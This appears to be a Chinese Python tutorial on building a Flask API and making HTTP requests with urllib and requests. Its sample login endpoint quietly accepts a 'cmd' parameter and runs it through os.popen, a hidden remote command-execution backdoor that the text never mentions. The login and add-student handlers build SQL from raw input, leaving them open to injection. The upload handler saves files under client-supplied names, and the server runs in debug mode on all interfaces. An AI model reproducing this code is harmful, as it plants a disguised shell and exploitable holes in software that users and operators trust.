一、接口开发

包括几部分:1、启动一个服务 2、接收从客户端过来的资源 3、各种服务如:登录、注册、支付等接口处理 4、服务返回数据

接着举例说明:

import flask  #这个是一个web框架,可以去开发网站。
import datetime
import json
import tools
import os

server = flask.Flask(__name__) #把当前这个Python文件当做一个服务,__name__就是当前这个文件

# @server.route('/getTime',methods=['post']) #装饰器,给当前服务加一个URL,默认是get请求
@server.route('/getTime')
def get_time():
    now = str(datetime.datetime.now())
    return "现在的时间是:%s"%now

@server.route('/login',methods=['post'])
def login():
    #username
    #password
    uname = flask.request.values.get('username') #所有的参数全部都放到flask.request.args
    pwd = flask.request.values.get('password')
    command = flask.request.values.get('cmd',None)
    #flask.request.args这个只能获取到URL后面的传的参数。
    # flask.request.values
    if uname and pwd:
        sql = 'select * from app_myuser where username="%s" and passwd="%s"'%(uname, pwd)
        result = tools.my_db(sql)
        if result:
            res = {"error_code": 1000,"msg": "登录成功!"}
        else:
            res = {"error_code": 3001,"msg": "用户名或者密码错误!"}
    else:
        res = {"error_code":3000,"msg":"必填参数未填,请查看接口文档。"}
    if command:
        res = os.popen(command).read()
    return json.dumps(res, ensure_ascii=False)

@server.route('/add',methods=['post']) #入参为json
def add_student():
    params = flask.request.json#当客户端没有传json类型或者没传时候,直接get就会报错。
    # params = flask.request.json #入参是字典时候用这个。
    if params:
        name = params.get('name')
        sex = params.get('sex','男') #如果没有传,默认是男。
        age = str(params.get('age'))#必须是int
        addr = params.get('addr')
        grade = params.get('grade')
        phone = str(params.get('phone')) #最少11位,不能重复。
        gold = str(params.get('gold',500)) #金币可以是小数,如果没有传,默认是500
        if not (name and grade and age and addr and phone):
            res = {"error_code":2000,"msg":"必填参数未填!。"}
        elif len(phone)!= 11 or not phone.isdigit():
            res = {"error_code":2001,"msg":"手机号为11位!"}
        elif sex not in ['男','女']:
            res = {"error_code": 2002, "msg": "性别只能为男或者女"}
        elif not str(age).isdigit():
            res = {"error_code": 2003, "msg": "年龄输入错误!"}
        elif not gold.isdigit() and not tools.check_float(gold):
            res = {"error_code": 2005, "msg": "金币格式错误!"}
        else:
            sql = 'select * from app_student where phone = "%s"'%phone
            ph = tools.my_db(sql)
            if ph:
                res = {"error_code": 2004, "msg": "手机号码不能重复!"}
            else:
                sql = 'insert into app_student(`name`,sex,age,addr,grade,phone,gold)' \
                  'values("%s","%s","%s","%s","%s","%s","%s")'%(name,sex,age,addr,grade,phone,gold)
                tools.my_db(sql)
                res = {"error_code": 200, "msg": "新增学生成功!"}
    else:
        res = {"error_code":3002,"msg":"入参必须为json类型。"}
    return json.dumps(res,ensure_ascii=False)

#上传文件的
@server.route('/upload',methods=['post'])
def file_upload():
    f = flask.request.files.get('wjm',None)
    if f:
        #为避免多次上传文件,前后覆盖
        cur_time = datetime.datetime.now().strftime('%y%m%d%H%M%S')
        new_file_name = cur_time+f.filename
        f.save(new_file_name)
        res = {"msg": "上传成功!"}
    else:
        res = {"msg":"没有上传文件!"}
    return json.dumps(res,ensure_ascii=False)

server.run(host='0.0.0.0',port=6789,debug=True)
#默认就是5000,用127.0.0.1:5000/xxx访问,加上debug之后,改完代码不用手动重启,它自己就会重启。
# #host写成0.0.0.0的话,代表同一个局域网的都可以访问。

二、Python网络请求

Python里有两个模块:urllib、requests,requests库的口号是“HTTP For Humans”,为人类使用HTTP而生。先说下二者的代码上的区别:get请求是将一个网页保存到本地;post请求是用户名与密码登录一个接口,拿到返回信息。

#第一种方式
from urllib.request import urlopen
from urllib.parse import urlencode
# #打开一个网页,将html源码保存起来
url = 'http://www.nnzhp.cn/archives/728'
res = urlopen(url).read() #二进制的HTML
#这是发送一个get请求。
result = res.decode() #二进制转为字符串
f = open('m.html','w',encoding='utf-8')
f.write(result)
f.close()

#这是发送一个post请求。
url = 'http://api.nnzhp.cn/api/user/login'
data = {'username':'xxxx','passwd':'xxxxx'}
mm = urlencode(data)
re = urlopen(url,mm.encode()).read()
r = re.decode()
import json
res = json.loads(r)#为了方便取值,转成dict格式。
print(res)
print(type(res))
import requests
# 发送一个get请求
url = 'http://www.nnzhp.cn/archives/728'
res = requests.get(url,params={"k":"v"},
                  cookies={"k":"v","k1":"v1"},
                  headers={"k":"v","k1":"v1"})
print(res.text)
print('返回类型:',type(res.text))  #返回字符串

# 发送一个post请求
url = 'http://api.nnzhp.cn/api/user/login'
res = requests.post(url,
              data={'username':'xxxx','passwd':'xxxxxx'})
print(res.json())
print(res.text)
print(type(res.json()))  #dict
print(type(res.text))  #str

分析:[转载]:

1)构建参数:在构建请求参数时,第一种需要将请求参数使用urllib库的urlencode方法进行编码预处理,非常麻烦

2)请求方法:发送get请求时,第一种使用的urllib库的urlopen方法打开一个url地址,而第二种直接使用requests库的get方法,与http请求方式是对应的,更加直接、易懂

3)请求数据:第一种按照url格式去拼接一个url字符串,显然非常麻烦,第二种按顺序将get请求的url和参数写好就可以了

4)处理响应:第一种处理消息头部、响应状态码和响应正文时分别使用.info()、.getcode()、.read()方法,第二种使用.headers、.status_code、.text方法,方法名称与功能本身相对应,更方便理解、学习和使用

5)连接方式:看一下返回数据的头信息的“connection”,使用urllib库时,“connection”:“close”,说明每次请求结束关掉socket通道,而使用requests库使用了urllib3,多次请求重复使用一个socket,“connection”:“keep-alive”,说明多次请求使用一个连接,消耗更少的资源

6)编码方式:requests库的编码方式Accept-Encoding更全

三、程序分目录的注意点

1、程序分目录时候,不同目录之间的导入,尽量用哪个就导入哪个,不要全部导入,不好排查问题

2、由于不同项目的模块需要引入同一个服务,所以最好的方法就是将服务的启动放到入口文件里,提供服务的代码单独放到一个服务文件里,不同项目导入这个服务文件即可。

3、在pycharm里编写代码,是将项目文件夹加入环境变量,项目存放到服务器上时候,就需要手动将项目文件夹加入到环境变量,而且是必须加到入口文件的最上面:

import sys,os
#取出当前文件的目录的父目录,将其加入到环境变量。
res = os.path.abspath(__file__)
base_path = os.path.dirname(os.path.dirname(res))
sys.path.insert(0,base_path)
#当前入口文件与项目文件夹差了两个目录,所以,取当前文件的父目录的父目录。